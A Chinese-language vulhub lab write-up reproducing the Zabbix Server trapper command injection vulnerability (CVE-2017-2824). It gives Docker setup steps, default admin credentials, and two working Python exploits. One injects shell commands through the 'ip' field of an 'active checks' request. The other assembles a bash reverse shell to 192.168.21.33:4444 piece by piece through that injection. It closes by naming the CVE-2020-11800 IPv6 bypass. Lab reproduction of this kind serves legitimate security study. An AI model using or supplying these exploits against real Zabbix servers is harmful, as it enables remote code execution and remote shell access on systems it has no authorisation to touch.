Zabbix Server trapper命令注入漏洞(CVE-2017-2824)
Zabbix 是由Alexei Vladishev 開發的一種網路監視、管理系統,基於 Server-Client 架構。其Server端 trapper command 功能存在一處程式碼執行漏洞,特定的資料包可造成命令注入,進而遠端執行程式碼。攻擊者可以從一個Zabbix proxy發起請求,從而觸發漏洞。
環境搭建
執行如下命令啟動一個完整的Zabbix環境,包含Web端、Server端、1個Agent和Mysql資料庫:
cd vulhub/zabbix/CVE-2017-2824
docker-compose up -d
命令執行後,執行docker-compose ps 檢視容器是否全部成功啟動,如果沒有,可以嘗試重新執行docker-compose up -d。
利用該漏洞,需要服務端開啟了自動註冊功能,所以先以管理員的身份開啟自動註冊功能。使用賬號密碼admin/zabbix登入後臺,進入Configuration->Actions,將Event source調整位Auto registration,然後點選Create action,建立一個Action,名字隨意:
第三個標籤頁,建立一個Operation,type是"Add Host":
漏洞復現
使用這個簡單的POC來複現漏洞:
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
這個POC比較初級,請多執行幾次
反彈shell
import sys
import socket
import json
from time import sleep
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
# target = "192.168.21.33"
target = sys.argv[1]
num = 1
exps = [';echo -n "/bin/bash" > /tmp/1.sh', ';echo -n " -i >& " >> /tmp/1.sh', ';echo -n "/dev/tcp/" >> /tmp/1.sh',
';echo -n "192.168." >> /tmp/1.sh', ';echo -n "21.33/" >> /tmp/1.sh', ';echo -n "4444 0>&1" >> /tmp/1.sh',
';/bin/bash /tmp/1.sh']
for exp in exps:
host = "vulhub" + str(num)
print(host)
print(send(target, {"request": "active checks", "host": host, "ip": exp}))
sleep(1)
num += 1
for i in range(10000, 10500):
data = send(target, {"request": "command", "scriptid": 1, "hostid": str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
在CVE-2017-2824中,其Server端 trapper command 功能存在一處程式碼執行漏洞,而修復補丁並不完善,導致可以利用IPv6進行繞過,注入任意命令。
Zabbix Server trapper命令注入漏洞(CVE-2020-11800)